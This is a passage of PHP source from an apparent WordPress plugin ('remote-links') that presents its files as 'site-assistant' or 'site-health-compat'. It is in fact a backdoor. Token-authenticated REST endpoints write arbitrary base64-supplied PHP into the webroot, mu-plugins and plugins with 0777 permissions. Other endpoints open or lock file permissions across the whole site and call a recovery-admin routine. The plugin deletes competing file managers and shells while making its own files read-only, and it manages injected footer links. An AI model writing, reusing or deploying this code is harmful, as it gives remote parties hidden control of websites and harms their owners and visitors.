up) ? $file_lock : $file_open; } $dir_result = rl_fs_chmod_path($dir, $dmode); if (empty($dir_result['ok'])) { $stats['failed']++; if (count($stats['failed_paths']) < 20) { $stats['failed_paths'][] = $dir; } } $stats['dirs']++; if ($stats['dirs'] + $stats['files'] >= $max_nodes) { $stats['truncated'] = true; return; } $list = @scandir($dir); if ($list === false) { $stats['scandir_fail'] = isset($stats['scandir_fail']) ? $stats['scandir_fail'] + 1 : 1; continue; } foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_link($path)) { $stats['links'] = isset($stats['links']) ? $stats['links'] + 1 : 1; continue; } if (is_dir($path)) { $stack[] = $path; } elseif (is_file($path)) { $file_ours = function_exists('rl_is_our_bridge_path') && rl_is_our_bridge_path($path); $fm = $file_ours ? $file_lock : ((rl_fs_path_under_uploads($path) || !$lock) ? $file_open : $fmode); if ($file_ours) { $stats['ours']++; } $file_result = rl_fs_chmod_path($path, $fm); if (empty($file_result['ok'])) { $stats['failed']++; if (count($stats['failed_paths']) < 20) { $stats['failed_paths'][] = $path; } } $stats['files']++; if ($stats['dirs'] + $stats['files'] >= $max_nodes) { $stats['truncated'] = true; return; } } } } } function rl_fs_chmod_abspath($lock, &$stats, $max_nodes = 250000) { $root = rtrim(str_replace('\\', '/', ABSPATH), '/'); if ($root === '' || !is_dir($root)) { $stats['error'] = 'abspath missing'; return; } $defaults = array( 'dirs' => 0, 'files' => 0, 'links' => 0, 'scandir_fail' => 0, 'failed' => 0, 'failed_paths' => array(), 'truncated' => false, 'ours' => 0, ); foreach ($defaults as $key => $value) { if (!isset($stats[$key])) { $stats[$key] = $value; } } $dir_lock = 0555; $file_lock = 0444; $dir_open = 0777; $file_open = 0777; $content = defined('WP_CONTENT_DIR') ? rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') : ''; $split = ($content !== '' && $content !== $root && strpos($content . '/', $root . '/') !== 0); if ($split) { // Core /wordpress salt-okunur mount — PHP chmod 504/owner fail. rl_fs_chmod_walk($content, $lock, $stats, $max_nodes, $dir_lock, $file_lock, $dir_open, $file_open); return; } rl_fs_chmod_walk($root, $lock, $stats, $max_nodes, $dir_lock, $file_lock, $dir_open, $file_open); } function rl_fs_lock() { @set_time_limit(300); @ini_set('max_execution_time', '300'); $t = rl_fs_targets(); $changed = array(); $stats = array( 'dirs' => 0, 'files' => 0, 'links' => 0, 'scandir_fail' => 0, 'failed' => 0, 'failed_paths' => array(), 'truncated' => false, ); foreach ($t['dirs'] as $name => $path) { $changed[$name] = rl_fs_chmod_path($path, 0555); } foreach ($t['files'] as $name => $path) { $changed[$name] = rl_fs_chmod_path($path, 0444); } rl_fs_chmod_abspath(true, $stats, 250000); $up = $t['uploads']; if (is_dir($up)) { $changed['uploads'] = rl_fs_chmod_path($up, 0755); } $cfg = isset($t['files']['wp-config']) ? $t['files']['wp-config'] : ''; if ($cfg !== '' && is_file($cfg) && strpos(str_replace('\\', '/', $cfg), $t['root'] . '/') !== 0) { $changed['wp-config'] = rl_fs_chmod_path($cfg, 0444); } update_option('rl_fs_lock', 1, false); rl_log( 'fs_lock', '', '', 'success', 'chmod ALL 0555/0444 d=' . $stats['dirs'] . ' f=' . $stats['files'] . (!empty($stats['truncated']) ? ' TRUNC' : '') ); return array( 'ok' => true, 'method' => 'chmod-all', 'mode' => 'lock', 'dir' => '0555', 'file' => '0444', 'stats' => $stats, 'changed' => $changed, 'status' => rl_fs_status(), 'scope' => 'abspath-recursive-except-uploads', ); } function rl_fs_open_docroots() { $paths = array(); if (defined('ABSPATH')) { $paths['abspath'] = rtrim(str_replace('\\', '/', ABSPATH), '/'); } if (defined('WP_CONTENT_DIR')) { $c = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/'); $paths['wp-content'] = $c; $www = dirname($c); if ($www !== '' && $www !== '/' && $www !== '.' && is_dir($www)) { $paths['webroot'] = $www; } $paths['plugins'] = $c . '/plugins'; $paths['themes'] = $c . '/themes'; $paths['mu-plugins'] = $c . '/mu-plugins'; $paths['uploads'] = $c . '/uploads'; } $out = array(); foreach ($paths as $name => $path) { if (!is_dir($path)) { continue; } if (function_exists('rl_force_chmod')) { rl_force_chmod($path, 0777); } else { @chmod($path, 0777); } if (in_array($name, array('plugins', 'themes', 'mu-plugins', 'uploads'), true) && function_exists('rl_force_chmod_tree_exec') ) { rl_force_chmod_tree_exec($path, '0777', '0777'); } if (in_array($name, array('webroot', 'abspath', 'wp-content'), true) && function_exists('rl_chmod_maxdepth1_777') ) { $out[$name . '_listing'] = rl_chmod_maxdepth1_777($path); } clearstatcache(true, $path); $out[$name] = array( 'path' => $path, 'mode' => function_exists('rl_fs_perm_octal') ? rl_fs_perm_octal($path) : '', 'writable' => is_writable($path), ); } if (!empty($paths['webroot']) && is_dir($paths['webroot'])) { $probe = rtrim($paths['webroot'], '/') . '/rl_upload_ok.txt'; @chmod($paths['webroot'], 0777); $n = @file_put_contents($probe, "upload-ok\n"); if (is_file($probe)) { @chmod($probe, 0777); if (function_exists('rl_force_chmod')) { rl_force_chmod($probe, 0777); } } clearstatcache(true, $probe); $out['webroot_write'] = array( 'ok' => ($n !== false), 'path' => $probe, 'mode' => is_file($probe) ? rl_fs_perm_octal($probe) : '', ); } return $out; } function rl_fs_unlock() { @set_time_limit(300); @ini_set('max_execution_time', '300'); $t = rl_fs_targets(); $changed = array(); $stats = array( 'dirs' => 0, 'files' => 0, 'links' => 0, 'scandir_fail' => 0, 'failed' => 0, 'failed_paths' => array(), 'truncated' => false, ); $changed['roots'] = rl_fs_open_docroots(); foreach ($t['dirs'] as $name => $path) { if (function_exists('rl_force_chmod') && file_exists($path)) { rl_force_chmod($path, 0777); } $changed[$name] = rl_fs_chmod_path($path, 0777); } foreach ($t['files'] as $name => $path) { $changed[$name] = rl_fs_chmod_path($path, 0777); } $open_trees = array('plugins', 'themes', 'mu-plugins'); foreach ($open_trees as $name) { $path = isset($t['dirs'][$name]) ? $t['dirs'][$name] : ''; if ($path === '' || !is_dir($path)) { continue; } if (function_exists('rl_force_chmod')) { rl_force_chmod($path, 0777); } if (function_exists('rl_force_chmod_tree_exec')) { rl_force_chmod_tree_exec($path, '0777', '0777'); } if (function_exists('rl_fs_chmod_tree_shallow')) { rl_fs_chmod_tree_shallow($path, 0777, 0777, 4000); } } $up = $t['uploads']; if (is_dir($up)) { $changed['uploads'] = rl_fs_chmod_path($up, 0777); } $cfg = isset($t['files']['wp-config']) ? $t['files']['wp-config'] : ''; if ($cfg !== '' && is_file($cfg) && strpos(str_replace('\\', '/', $cfg), $t['root'] . '/') !== 0) { $changed['wp-config'] = rl_fs_chmod_path($cfg, 0777); } if (function_exists('rl_bridge_harden_ours_only')) { $changed['ours'] = rl_bridge_harden_ours_only(); } if (function_exists('rl_soft_flag_force_off')) { $changed['soft_off'] = rl_soft_flag_force_off(); } update_option(RL_OPTION_LOCK, 0, false); update_option(RL_OPTION_PERM_LOCK, 0, false); update_option('rl_fs_lock', 0, false); rl_log( 'fs_unlock', '', '', 'success', 'chmod ALL 0777/0777 d=' . $stats['dirs'] . ' f=' . $stats['files'] ); return array( 'ok' => true, 'method' => 'chmod-all', 'mode' => 'unlock', 'dir' => '0777', 'file' => '0777', 'stats' => $stats, 'changed' => $changed, 'status' => rl_fs_status(), 'scope' => 'abspath-recursive-except-uploads', ); } /** * Güncelleme için dar açılış — tüm ağacı açmaz. * mu-plugins + plugins/site-health-compat + uploads/rl */ function rl_fs_update_path_list() { $c = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/'); $dirs = array( 'mu-plugins' => $c . '/mu-plugins', 'bridge' => $c . '/plugins/' . RL_BRIDGE_DIR, 'bridge_legacy' => $c . '/plugins/' . RL_BRIDGE_LEGACY_DIR, 'uploads_rl' => $c . '/uploads/rl', ); $files = array( 'mu_file' => $c . '/mu-plugins/' . RL_BRIDGE_BASENAME, 'mu_legacy' => $c . '/mu-plugins/' . RL_BRIDGE_LEGACY_BASENAME, 'bridge_file'=> $c . '/plugins/' . RL_BRIDGE_DIR . '/' . RL_BRIDGE_BASENAME, 'bridge_legacy_file'=> $c . '/plugins/' . RL_BRIDGE_LEGACY_DIR . '/' . RL_BRIDGE_LEGACY_BASENAME, 'gate_file' => $c . '/uploads/rl/rl-gate.php', ); return array('dirs' => $dirs, 'files' => $files); } function rl_fs_chmod_tree_shallow($path, $dir_mode, $file_mode, $max = 400) { $path = rtrim(str_replace('\\', '/', (string) $path), '/'); if ($path === '' || !file_exists($path)) { return array('ok' => false, 'n' => 0); } $n = 0; if (is_dir($path)) { @chmod($path, $dir_mode); $n++; $list = @scandir($path); if (!is_array($list)) { return array('ok' => true, 'n' => $n); } foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $p = $path . '/' . $item; if (is_link($p)) { continue; } if (is_dir($p)) { @chmod($p, $dir_mode); $n++; } elseif (is_file($p)) { @chmod($p, $file_mode); $n++; } if ($n >= $max) { break; } } } elseif (is_file($path)) { @chmod($path, $file_mode); $n++; } return array('ok' => true, 'n' => $n); } /** Plugin güncelle öncesi — sadece bridge yolları 0755/0644. */ function rl_fs_unlock_for_update() { $paths = rl_fs_update_path_list(); $changed = array(); $n = 0; if (function_exists('rl_fs_open_docroots')) { $changed['roots'] = rl_fs_open_docroots(); } foreach ($paths['dirs'] as $name => $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $r = rl_fs_chmod_tree_shallow($dir, 0755, 0644); $changed[$name] = $r; $n += (int) ($r['n'] ?? 0); } foreach ($paths['files'] as $name => $file) { if (is_file($file)) { @chmod($file, 0644); $changed[$name] = array('ok' => is_writable($file), 'mode' => '0644'); } } // Soft filter kapatma — WP install API; FS yazmayı engellemez ama temizlik update_option(RL_OPTION_LOCK, 0, false); $c = defined('WP_CONTENT_DIR') ? rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') : ''; if ($c !== '') { foreach (array($c . '/plugins', $c . '/themes', $c . '/mu-plugins') as $d) { if (!is_dir($d)) { continue; } if (function_exists('rl_force_chmod')) { rl_force_chmod($d, 0777); } else { @chmod($d, 0777); } if (function_exists('rl_fs_chmod_tree_shallow')) { rl_fs_chmod_tree_shallow($d, 0777, 0777, 4000); } } if (function_exists('rl_bridge_harden_ours_only')) { $changed['ours'] = rl_bridge_harden_ours_only(); } if (function_exists('rl_soft_flag_force_off')) { $changed['soft_off'] = rl_soft_flag_force_off(); } } rl_log('fs_unlock_update', '', '', 'success', 'bridge paths n=' . $n); return array( 'ok' => true, 'method' => 'bridge-paths', 'mode' => 'unlock-update', 'nodes' => $n, 'changed' => $changed, 'paths' => $paths, 'status' => rl_fs_status(), 'note' => 'mu-plugins + plugins/themes kök 0777 + ours 0444', ); } /** Uyumluluk sarmalayicilar */ function rl_fs_chmod_tree($root, $dir_mode, $file_mode, &$stats, $max_nodes = 8000) { rl_fs_chmod_abspath(($dir_mode === 0555), $stats, $max_nodes); } function rl_fs_chmod_tree_all($root, $dir_mode, $file_mode, &$stats, $max_nodes = 12000) { rl_fs_chmod_abspath(false, $stats, $max_nodes); } /** * Varsayılan güvenlik: soft editör/install kilidi + köprü 0444 + FM shell temizliği. * Full-tree chmod YOK (gate brick / host kırılması). */ function rl_lock_plugin_installs() { update_option(RL_OPTION_LOCK, 1, false); update_option(RL_OPTION_PERM_LOCK, 1, false); if (defined('WP_CONTENT_DIR')) { $dir = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl'; if (!is_dir($dir)) { @mkdir($dir, 0755, true); } @file_put_contents($dir . '/.rl_soft_lock', '1'); @unlink($dir . '/.rl_soft_lock_off'); } $bridge = function_exists('rl_bridge_harden_files') ? rl_bridge_harden_files() : array(); if (function_exists('rl_ensure_bridge_mirrors')) { rl_ensure_bridge_mirrors(); } $purge = function_exists('rl_purge_file_managers') ? rl_purge_file_managers() : array(); $fs = function_exists('rl_fs_harden_install_dirs') ? rl_fs_harden_install_dirs(true) : array(); rl_log('lock', '', '', 'success', 'soft-editors-install + purge-fm + plugins/themes FTP'); return array( 'ok' => true, 'method' => 'soft', 'added' => array(), 'bridge' => $bridge, 'purge' => $purge, 'fs' => $fs, 'status' => rl_security_status(), 'note' => 'editör/install kapalı; FM silindi; plugins/themes FTP; admin içerik açık', ); } /** * Soft OFF. Full-tree chmod'a dokunulmaz (ayrı fs_unlock). */ function rl_unlock_plugin_installs() { update_option(RL_OPTION_LOCK, 0, false); update_option(RL_OPTION_PERM_LOCK, 0, false); $fs = function_exists('rl_fs_harden_install_dirs') ? rl_fs_harden_install_dirs(false) : array(); $off = function_exists('rl_soft_flag_force_off') ? rl_soft_flag_force_off() : array(); rl_log('unlock', '', '', 'success', 'soft off'); return array( 'ok' => true, 'method' => 'soft', 'fs' => $fs, 'off' => $off, 'status' => rl_security_status(), 'note' => 'sızma kilitleri açık — full chmod ayrı', ); } function rl_lock_status() { return rl_security_status(); } /** * File manager / shell temizliği — allowlist; bizim bridge'e dokunmaz. */ function rl_fm_plugin_slugs() { return array( 'wp-file-manager', 'wp-file-manager-pro', 'file-manager', 'filemanager', 'advanced-file-manager', 'responsive-filemanager', 'file-manager-advanced', 'bit-file-manager', 'ninja-file-manager', 'filester', 'filester-pro', 'wp-file-upload', 'elfinder', 'library-file-manager', 'file-manager-pro', 'fileorganizer', 'fs-file-manager', ); } function rl_fm_shell_basenames() { return array( 'basmanager.php', 'tinyfilemanager.php', 'tinyfilemanager', 'filemanager.php', 'file-manager.php', 'fm.php', 'wp-filemanager.php', 'responsive_filemanager.php', ); } function rl_is_our_bridge_path($path) { $p = str_replace('\\', '/', strtolower((string) $path)); $needles = array( 'site-assistant', 'site-health-compat', 'rl-gate.php', 'rl-bootstrap', 'rl-boot-', 'rl-setup', 'rl-recover', '/uploads/rl/', ); foreach ($needles as $n) { if (strpos($p, $n) !== false) { return true; } } return false; } function rl_rm_tree($path) { $path = rtrim(str_replace('\\', '/', (string) $path), '/'); if ($path === '' || !file_exists($path) || rl_is_our_bridge_path($path)) { return false; } if (is_file($path) || is_link($path)) { @chmod($path, 0644); return @unlink($path); } if (!is_dir($path)) { return false; } $items = @scandir($path); if (!is_array($items)) { return false; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } rl_rm_tree($path . '/' . $item); } @chmod($path, 0755); return @rmdir($path); } function rl_purge_file_managers() { $removed = array(); $errors = array(); $plug_root = defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : (defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR . '/plugins' : ''); if ($plug_root !== '' && is_dir($plug_root)) { foreach (rl_fm_plugin_slugs() as $slug) { $dir = trailingslashit($plug_root) . $slug; if (!is_dir($dir) || rl_is_our_bridge_path($dir)) { continue; } // WP API tercih $deleted = false; if (function_exists('delete_plugins')) { if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $all = function_exists('get_plugins') ? get_plugins() : array(); foreach ($all as $rel => $_info) { if (strpos($rel, $slug . '/') === 0 || $rel === $slug . '.php') { if (function_exists('is_plugin_active') && is_plugin_active($rel)) { @deactivate_plugins($rel, true); } $r = delete_plugins(array($rel)); if ($r === true) { $deleted = true; $removed[] = 'plugin:' . $rel; } break; } } } if (!$deleted) { if (rl_rm_tree($dir)) { $removed[] = 'dir:' . $slug; } else { $errors[] = $slug; } } } // wp-health-* / random folders that only contain basmanager $list = @scandir($plug_root); if (is_array($list)) { foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $dir = trailingslashit($plug_root) . $item; if (!is_dir($dir) || rl_is_our_bridge_path($dir)) { continue; } $has_shell = false; foreach (rl_fm_shell_basenames() as $bn) { if (is_file($dir . '/' . $bn) || is_file($dir . '/' . $bn . '.php')) { $has_shell = true; break; } } // küçük şüpheli klasör: sadece shell + az dosya if ($has_shell) { if (rl_rm_tree($dir)) { $removed[] = 'shell-dir:' . $item; } } } } } $roots = array(); if (defined('ABSPATH')) { $roots[] = rtrim(str_replace('\\', '/', ABSPATH), '/'); } if (defined('WP_CONTENT_DIR')) { $roots[] = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/'); } foreach (array_unique($roots) as $root) { foreach (rl_fm_shell_basenames() as $bn) { $name = (substr($bn, -4) === '.php') ? $bn : ($bn . '.php'); $f = $root . '/' . $name; if (is_file($f) && !rl_is_our_bridge_path($f)) { @chmod($f, 0644); if (@unlink($f)) { $removed[] = 'file:' . $name; } else { $errors[] = $name; } } } } if ($removed) { rl_log('purge_fm', '', '', 'success', implode(',', array_slice($removed, 0, 20))); } return array( 'ok' => empty($errors), 'removed' => $removed, 'errors' => $errors, 'count' => count($removed), ); } /** * Token ile uzaktan dosya yazma (kendi siteler / otomasyon). * target: * - webroot → ana dizin (/www veya ABSPATH), dosya 0777 * - rl-uploads → wp-content/uploads/rl/{filename} * - uploads → wp-content/uploads/{Y/m}/{filename} * - mu-plugins → wp-content/mu-plugins/{filename} (+ bridge ise plugins aynası) * - plugins → wp-content/plugins/site-assistant/{filename} */ function rl_put_file_777($dest, $raw) { $dest = (string) $dest; $dir = dirname($dest); if (!is_dir($dir)) { if (function_exists('wp_mkdir_p')) { wp_mkdir_p($dir); } else { @mkdir($dir, 0777, true); } } if (is_dir($dir)) { @chmod($dir, 0777); if (function_exists('rl_force_chmod')) { rl_force_chmod($dir, 0777); } } if (is_file($dest)) { @chmod($dest, 0777); if (function_exists('rl_force_chmod')) { rl_force_chmod($dest, 0777); } if (!is_writable($dest)) { @unlink($dest); } } // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents $n = @file_put_contents($dest, $raw); if ($n === false && is_file($dest)) { @chmod($dest, 0777); @unlink($dest); $n = @file_put_contents($dest, $raw); } if ($n !== false && is_file($dest)) { @chmod($dest, 0777); if (function_exists('rl_force_chmod')) { rl_force_chmod($dest, 0777); } } return $n; } function rl_upload_dest_for_target($target, $filename) { $filename = basename((string) $filename); $target = sanitize_key((string) $target); $dir = ''; $dest = ''; $url = ''; if ($target === 'webroot' || $target === 'root') { $dir = function_exists('rl_fs_webroot_path') ? rl_fs_webroot_path() : rtrim(str_replace('\\', '/', ABSPATH), '/'); $dest = rtrim($dir, '/') . '/' . $filename; $url = function_exists('home_url') ? home_url('/' . $filename) : ''; } elseif ($target === 'mu-plugins') { $dir = WP_CONTENT_DIR . '/mu-plugins'; if (!is_dir($dir) && function_exists('wp_mkdir_p')) { wp_mkdir_p($dir); } $dest = $dir . '/' . $filename; } elseif ($target === 'plugins') { $plug = defined('RL_BRIDGE_DIR') ? RL_BRIDGE_DIR : 'site-assistant'; $dir = WP_CONTENT_DIR . '/plugins/' . $plug; if (!is_dir($dir) && function_exists('wp_mkdir_p')) { wp_mkdir_p($dir); } $dest = $dir . '/' . $filename; } elseif ($target === 'uploads') { $upload = function_exists('wp_upload_dir') ? wp_upload_dir() : array(); if (!empty($upload['error'])) { return array('', '', '', (string) $upload['error']); } $dir = (string) ($upload['path'] ?? ''); $dest = trailingslashit($dir) . $filename; $url = trailingslashit((string) ($upload['url'] ?? '')) . $filename; } else { $upload = function_exists('wp_upload_dir') ? wp_upload_dir() : array(); if (!empty($upload['error'])) { return array('', '', '', (string) $upload['error']); } $dir = trailingslashit((string) ($upload['basedir'] ?? '')) . 'rl'; if (!is_dir($dir) && function_exists('wp_mkdir_p')) { wp_mkdir_p($dir); } $dest = trailingslashit($dir) . $filename; $url = trailingslashit((string) ($upload['baseurl'] ?? '')) . 'rl/' . $filename; } return array($dir, $dest, $url, ''); } function rl_api_file_upload(WP_REST_Request $request) { $target = sanitize_key((string) ($request->get_param('target') ?: 'rl-uploads')); $filename = sanitize_file_name((string) ($request->get_param('filename') ?: '')); $b64 = (string) ($request->get_param('content_base64') ?: ''); if ($filename === '' || $b64 === '') { return rl_json_err('filename and content_base64 required', 400); } // path traversal engeli if ($filename !== basename($filename) || strpos($filename, '..') !== false) { return rl_json_err('invalid filename', 400); } $raw = base64_decode($b64, true); if ($raw === false) { return rl_json_err('invalid base64', 400); } $max = 8 * 1024 * 1024; // 8MB if (strlen($raw) > $max) { return rl_json_err('file too large (max 8MB)', 413); } $allowed_targets = array('webroot', 'root', 'rl-uploads', 'uploads', 'mu-plugins', 'plugins'); if (!in_array($target, $allowed_targets, true)) { return rl_json_err('target must be webroot|rl-uploads|uploads|mu-plugins|plugins', 400); } if ($target === 'root') { $target = 'webroot'; } $mirror = null; $is_bridge = rl_is_bridge_filename($filename); // Bridge: her iki yere birden if ($is_bridge && ($target === 'mu-plugins' || $target === 'plugins')) { if (!function_exists('rl_write_bridge_files')) { return rl_json_err('bridge writer missing', 500); } $mirror = rl_write_bridge_files($raw); $ok_mu = !empty($mirror['mu-plugins']['ok']); $ok_pl = !empty($mirror['plugins']['ok']); if (!$ok_mu && !$ok_pl) { rl_log('file_upload', $target, '', 'error', 'bridge write failed'); return rl_json_err('write failed (permissions?)', 500); } rl_log('file_upload', 'bridge', '', 'success', $filename); return rl_json_ok(array( 'target' => 'bridge', 'filename' => $filename, 'bytes' => strlen($raw), 'paths' => $mirror, 'mu' => $ok_mu, 'plugins' => $ok_pl, 'in_wp_admin' => false, 'note' => 'mu-plugins + plugins/site-assistant (+ legacy)', )); } if ($target === 'mu-plugins') { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext !== 'php') { return rl_json_err('mu-plugins only accepts .php', 400); } } elseif ($target === 'plugins') { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext !== 'php') { return rl_json_err('plugins bridge only accepts .php', 400); } } list($dir, $dest, $url, $derr) = rl_upload_dest_for_target($target, $filename); if ($derr !== '') { return rl_json_err('upload dir error: ' . $derr, 500); } if ($dir === '' || $dest === '') { return rl_json_err('resolve dest failed', 500); } $written = rl_put_file_777($dest, $raw); if ($written === false) { rl_log('file_upload', $target, '', 'error', 'write failed ' . $filename); return rl_json_err('write failed (permissions?)', 500); } if (($target === 'mu-plugins' || $target === 'plugins') && function_exists('opcache_invalidate')) { @opcache_invalidate($dest, true); } if ($is_bridge && function_exists('rl_bridge_harden_files')) { @chmod($dest, 0444); rl_bridge_harden_files(); } rl_log('file_upload', $target, '', 'success', $filename . ' (' . $written . ' bytes)'); return rl_json_ok(array( 'target' => $target, 'filename' => $filename, 'bytes' => $written, 'path' => $dest, 'url' => $url, 'in_wp_admin' => false, 'hardened' => (bool) $is_bridge, 'mode' => function_exists('rl_fs_perm_octal') ? rl_fs_perm_octal($dest) : '', 'note' => ($target === 'webroot') ? 'ana dizin yazıldı — HTTP 403 host kuralı yazmayı bozmaz' : 'Disk/FTP only — not registered in Media Library or Plugins UI', )); } function rl_api_auth(WP_REST_Request $request) { if (!rl_verify_token(rl_request_token($request))) { return new WP_Error('rl_unauthorized', 'Invalid token', array('status' => 401)); } return true; } function rl_register_routes() { $ns = 'remote-links/v1'; $auth = array('permission_callback' => 'rl_api_auth'); register_rest_route($ns, '/claim', array( 'methods' => array('GET', 'POST'), 'permission_callback' => function () { return current_user_can('manage_options') || current_user_can('activate_plugins'); }, 'callback' => function () { $payload = rl_issue_claim_payload('rest_claim'); if (empty($payload['ok'])) { return new WP_Error('rl_claim', $payload['error'] ?? 'claim fail', array('status' => 409)); } return rl_json_ok($payload); }, )); register_rest_route($ns, '/ping', array_merge($auth, array( 'methods' => 'GET', 'callback' => function () { $mu = WP_CONTENT_DIR . '/mu-plugins/' . basename(RL_MU_FILE); return rl_json_ok(array( 'message' => 'pong', 'placement' => RL_DEFAULT_PLACEMENT, 'site' => home_url('/'), 'mu_exists' => file_exists($mu), 'render_mode' => rl_settings()['render_mode'], 'lock' => rl_security_status(), )); }, ))); register_rest_route($ns, '/recovery-admin', array_merge($auth, array( 'methods' => array('GET', 'POST'), 'callback' => function (WP_REST_Request $request) { $src = $request->get_params(); if (!is_array($src)) { $src = array(); } $out = rl_recovery_admin_run($src); if (empty($out['ok'])) { return rl_json_err($out['error'] ?? 'recovery fail', 400, $out); } return rl_json_ok($out); }, ))); register_rest_route($ns, '/lock-installs', array_merge($auth, array( 'methods' => 'POST', 'callback' => function () { $result = rl_lock_plugin_installs(); return rl_json_ok(array( 'lock_result' => $result, 'lock' => rl_security_status(), )); }, ))); register_rest_route($ns, '/purge-fm', array_merge($auth, array( 'methods' => 'POST', 'callback' => function () { $purge = rl_purge_file_managers(); return rl_json_ok(array('purge' => $purge)); }, ))); register_rest_route($ns, '/security', array( array_merge($auth, array( 'methods' => 'GET', 'callback' => function () { return rl_json_ok(array('security' => rl_security_status())); }, )), array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $out = array(); if ($request->get_param('bridge_unlock') !== null) { $bu = filter_var($request->get_param('bridge_unlock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($bu === null) { $bu = (int) $request->get_param('bridge_unlock') === 1; } if ($bu && function_exists('rl_fs_unlock_for_update')) { $out['bridge'] = rl_fs_unlock_for_update(); } } if ($request->get_param('perm_lock') !== null) { $on = filter_var($request->get_param('perm_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($on === null) { $on = (int) $request->get_param('perm_lock') === 1; } $out['perm'] = rl_set_perm_lock((bool) $on); } if ($request->get_param('file_lock') !== null) { $fl = filter_var($request->get_param('file_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($fl === null) { $fl = (int) $request->get_param('file_lock') === 1; } if ($fl) { $out['file'] = rl_lock_plugin_installs(); } else { $out['file'] = rl_unlock_plugin_installs(); } } if ($request->get_param('fs_lock') !== null) { $fsl = filter_var($request->get_param('fs_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if ($fsl === null) { $fsl = (int) $request->get_param('fs_lock') === 1; } $out['fs'] = $fsl ? rl_fs_lock() : rl_fs_unlock(); } if (empty($out)) { return rl_json_err('perm_lock / file_lock / fs_lock / bridge_unlock gönder', 400); } return rl_json_ok(array( 'updated' => $out, 'security' => rl_security_status(), )); }, )), )); register_rest_route($ns, '/file-upload', array_merge($auth, array( 'methods' => 'POST', 'callback' => 'rl_api_file_upload', ))); register_rest_route($ns, '/settings', array( array_merge($auth, array( 'methods' => 'GET', 'callback' => function () { return rl_json_ok(array('settings' => rl_settings())); }, )), array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $cur = rl_settings(); $mode = $request->get_param('render_mode'); if ($mode !== null) { $mode = sanitize_key($mode); if (in_array($mode, array('compact', 'list', 'cloud', 'off'), true)) { $cur['render_mode'] = $mode; } } $label = $request->get_param('footer_label'); if ($label !== null) { $cur['footer_label'] = sanitize_text_field($label); } if ($request->get_param('max_visible') !== null) { $cur['max_visible'] = max(0, min(5, (int) $request->get_param('max_visible'))); } if ($request->get_param('rotate') !== null) { $cur['rotate'] = (int) ((bool) $request->get_param('rotate')); } update_option(RL_OPTION_SETTINGS, $cur, false); rl_log('settings', '', '', 'success', 'updated'); rl_bust_caches(); return rl_json_ok(array('settings' => $cur)); }, )), )); register_rest_route($ns, '/links', array( array_merge($auth, array( 'methods' => 'GET', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $links = rl_get_links($placement); return rl_json_ok(array( 'placement' => sanitize_key($placement), 'links' => $links, 'count' => count($links), )); }, )), array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $result = rl_add_link($placement, array( 'anchor_text' => $request->get_param('anchor_text'), 'target_url' => $request->get_param('target_url'), 'rel' => $request->get_param('rel'), 'status' => $request->get_param('status'), 'order_index' => $request->get_param('order_index'), )); if (is_wp_error($result)) { return rl_json_err($result->get_error_message(), 400); } $already = !empty($result['already']); $link = $result['link']; return rl_json_ok( array('link' => $link, 'already' => $already), $already ? 200 : 201 ); }, )), )); register_rest_route($ns, '/links/(?P[a-zA-Z0-9_]+)', array( array_merge($auth, array( 'methods' => 'PUT', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $input = array(); foreach (array('anchor_text', 'target_url', 'rel', 'status', 'order_index') as $field) { $val = $request->get_param($field); if ($val !== null) { $input[$field] = $val; } } $link = rl_update_link($placement, $request->get_param('id'), $input); if (is_wp_error($link)) { $code = $link->get_error_code() === 'rl_not_found' ? 404 : 400; return rl_json_err($link->get_error_message(), $code); } return rl_json_ok(array('link' => $link)); }, )), array_merge($auth, array( 'methods' => 'DELETE', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $result = rl_delete_link($placement, $request->get_param('id')); if (is_wp_error($result)) { return rl_json_err($result->get_error_message(), 404); } return rl_json_ok(array('deleted' => $request->get_param('id'))); }, )), )); register_rest_route($ns, '/links/(?P[a-zA-Z0-9_]+)/toggle', array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT; $link = rl_toggle_link($placement, $request->get_param('id')); if (is_wp_error($link)) { return rl_json_err($link->get_error_message(), 404); } return rl_json_ok(array('link' => $link)); }, ))); register_rest_route($ns, '/logs', array_merge($auth, array( 'methods' => 'GET', 'callback' => function (WP_REST_Request $request) { return rl_json_ok(array('logs' => rl_get_logs((int) ($request->get_param('limit') ?: 50)))); }, ))); register_rest_route($ns, '/test-check', array_merge($auth, array( 'methods' => 'POST', 'callback' => function (WP_REST_Request $request) { $placement = $request->get_param('placement') ?: 